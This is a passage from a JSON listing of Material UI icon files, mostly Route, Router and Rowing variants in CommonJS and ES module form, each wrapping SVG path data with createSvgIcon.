    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'RouteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'RouteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.18V3h-8v16H7V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V21h8V5h4v10.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'RouteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.18V3h-8v16H7V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V21h8V5h4v10.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'RouteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"18\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82M6 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'RouteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"18\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82M6 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'RouteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Router.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 5.9.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2s3 .6 4.2 1.7m-.9.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4l.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1zM19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'Router');"
  },
  {
    "path": "packages/mui-icons-material/lib/Router.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 5.9.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2s3 .6 4.2 1.7m-.9.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4l.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1zM19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'Router');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4.2c1.5 0 3 .6 4.2 1.7l.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2m-3.3 2.5.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1l.8-.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4M19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zM6 16h2v2H6zm3.5 0h2v2h-2zm3.5 0h2v2h-2z\"\n}), 'RouterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4.2c1.5 0 3 .6 4.2 1.7l.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2m-3.3 2.5.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1l.8-.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4M19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zM6 16h2v2H6zm3.5 0h2v2h-2zm3.5 0h2v2h-2z\"\n}), 'RouterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.45 5.55c.19.19.5.21.72.04C13.3 4.69 14.65 4.2 16 4.2s2.7.49 3.84 1.39c.21.17.52.15.72-.04l.04-.05c.22-.22.21-.59-.03-.8C19.24 3.57 17.62 3 16 3s-3.24.57-4.57 1.7c-.24.21-.26.57-.03.8zm1.7.76c-.25.2-.26.58-.04.8l.04.04c.2.2.5.2.72.04.63-.48 1.38-.69 2.13-.69s1.5.21 2.13.68c.22.17.53.16.72-.04l.04-.04c.23-.23.21-.6-.04-.8-.83-.64-1.84-1-2.85-1s-2.02.36-2.85 1.01M19 13h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'RouterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.45 5.55c.19.19.5.21.72.04C13.3 4.69 14.65 4.2 16 4.2s2.7.49 3.84 1.39c.21.17.52.15.72-.04l.04-.05c.22-.22.21-.59-.03-.8C19.24 3.57 17.62 3 16 3s-3.24.57-4.57 1.7c-.24.21-.26.57-.03.8zm1.7.76c-.25.2-.26.58-.04.8l.04.04c.2.2.5.2.72.04.63-.48 1.38-.69 2.13-.69s1.5.21 2.13.68c.22.17.53.16.72-.04l.04-.04c.23-.23.21-.6-.04-.8-.83-.64-1.84-1-2.85-1s-2.02.36-2.85 1.01M19 13h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'RouterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 5.9.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2s3 .6 4.2 1.7m-.9.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4l.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1zM21 13h-4V9h-2v4H3v8h18zM8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'RouterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 5.9.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2s3 .6 4.2 1.7m-.9.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4l.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1zM21 13h-4V9h-2v4H3v8h18zM8 18H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\"\n}), 'RouterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 15H5v4h14v-4zm-7 3H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4.2c1.5 0 3 .6 4.2 1.7l.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2m-3.3 2.5.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1l.8-.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4M19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zM6 16h2v2H6zm3.5 0h2v2h-2zm3.5 0h2v2h-2z\"\n}, \"1\")], 'RouterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 15H5v4h14v-4zm-7 3H6v-2h2zm3.5 0h-2v-2h2zm3.5 0h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4.2c1.5 0 3 .6 4.2 1.7l.8-.8C19.6 3.7 17.8 3 16 3s-3.6.7-5 2.1l.8.8C13 4.8 14.5 4.2 16 4.2m-3.3 2.5.8.8c.7-.7 1.6-1 2.5-1s1.8.3 2.5 1l.8-.8c-.9-.9-2.1-1.4-3.3-1.4s-2.4.5-3.3 1.4M19 13h-2V9h-2v4H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zM6 16h2v2H6zm3.5 0h2v2h-2zm3.5 0h2v2h-2z\"\n}, \"1\")], 'RouterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rowing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.35-.39.99-.73 1.65-.73h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'Rowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rowing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.35-.39.99-.73 1.65-.73h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'Rowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.75 18.25c-.41.41-.41 1.09 0 1.5s1.09.41 1.5 0L9 17h2l-2.5-2.5zM15 5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m5.29 15.3-2-2.01c-.18-.18-.44-.29-.71-.29H16.5l-6.29-6.29c.79-.33 1.66-.87 2.29-1.39v2.27l3.58 3.58c.57-.55.92-1.32.92-2.16V8.26C17 7.02 15.98 6 14.74 6h-.02c-.34 0-.67.09-.96.23-.26.12-.5.29-.69.5l-1.4 1.55C10.61 9.45 8.66 10.35 7 10.32c-.6 0-1.08.48-1.08 1.08S6.4 12.48 7 12.48c.31 0 .61-.03.9-.07l7.11 7.09v1.08c0 .26.1.52.29.7l1.99 2.01c.39.39 1.02.39 1.42 0l1.58-1.58c.39-.38.39-1.02 0-1.41\"\n}), 'RowingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.75 18.25c-.41.41-.41 1.09 0 1.5s1.09.41 1.5 0L9 17h2l-2.5-2.5zM15 5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m5.29 15.3-2-2.01c-.18-.18-.44-.29-.71-.29H16.5l-6.29-6.29c.79-.33 1.66-.87 2.29-1.39v2.27l3.58 3.58c.57-.55.92-1.32.92-2.16V8.26C17 7.02 15.98 6 14.74 6h-.02c-.34 0-.67.09-.96.23-.26.12-.5.29-.69.5l-1.4 1.55C10.61 9.45 8.66 10.35 7 10.32c-.6 0-1.08.48-1.08 1.08S6.4 12.48 7 12.48c.31 0 .61-.03.9-.07l7.11 7.09v1.08c0 .26.1.52.29.7l1.99 2.01c.39.39 1.02.39 1.42 0l1.58-1.58c.39-.38.39-1.02 0-1.41\"\n}), 'RowingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6 17 7.01 17 8.25V17l-.92-.83-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6 17 7.01 17 8.25V17l-.92-.83-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RowingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5 4 19l1.5 1.5L9 17h2zM15 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 20.01L18 24l-2.99-3.01V19.5l-7.1-7.09c-.31.05-.61.07-.91.07v-2.16c1.66.03 3.61-.87 4.67-2.04l1.4-1.55c.19-.21.43-.38.69-.5.29-.14.62-.23.96-.23h.03C15.99 6.01 17 7.02 17 8.26v5.75c0 .84-.35 1.61-.92 2.16l-3.58-3.58v-2.27c-.63.52-1.43 1.02-2.29 1.39L16.5 18H18z\"\n}), 'RowingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RssFeed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.18\",\n  cy: \"17.82\",\n  r: \"2.18\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4.44v2.83c7.03 0 12.73 5.7 12.73 12.73h2.83c0-8.59-6.97-15.56-15.56-15.56m0 5.66v2.83c3.9 0 7.07 3.17 7.07 7.07h2.83c0-5.47-4.43-9.9-9.9-9.9\"\n}, \"1\")], 'RssFeed');"
  },
  {
    "path": "packages/mui-icons-material/lib/RssFeed.mjs",
